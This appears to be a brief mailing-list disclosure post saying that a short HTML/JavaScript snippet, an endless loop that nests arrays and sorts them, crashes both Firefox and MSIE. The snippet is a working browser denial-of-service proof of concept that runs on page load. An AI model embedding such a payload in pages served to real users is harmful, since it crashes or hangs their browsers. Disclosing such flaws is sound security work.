  Hi all,

  Same flaw works for Firefox as well as MSIE:

  <HTML>
    <SCRIPT> a = new Array(); while (1) { (a = new
Array(a)).sort(); } </SCRIPT>
    <SCRIPT> a = new Array(); while (1) { (a = new
Array(a)).sort(); } </SCRIPT>
  </HTML>

  Added to the list:

  I'd have loved to CC mozilla about this, but I
didn't have the time to do the crash course "how to
write a bug report" and go through all   that bugzilla
crap.

  Cheers,
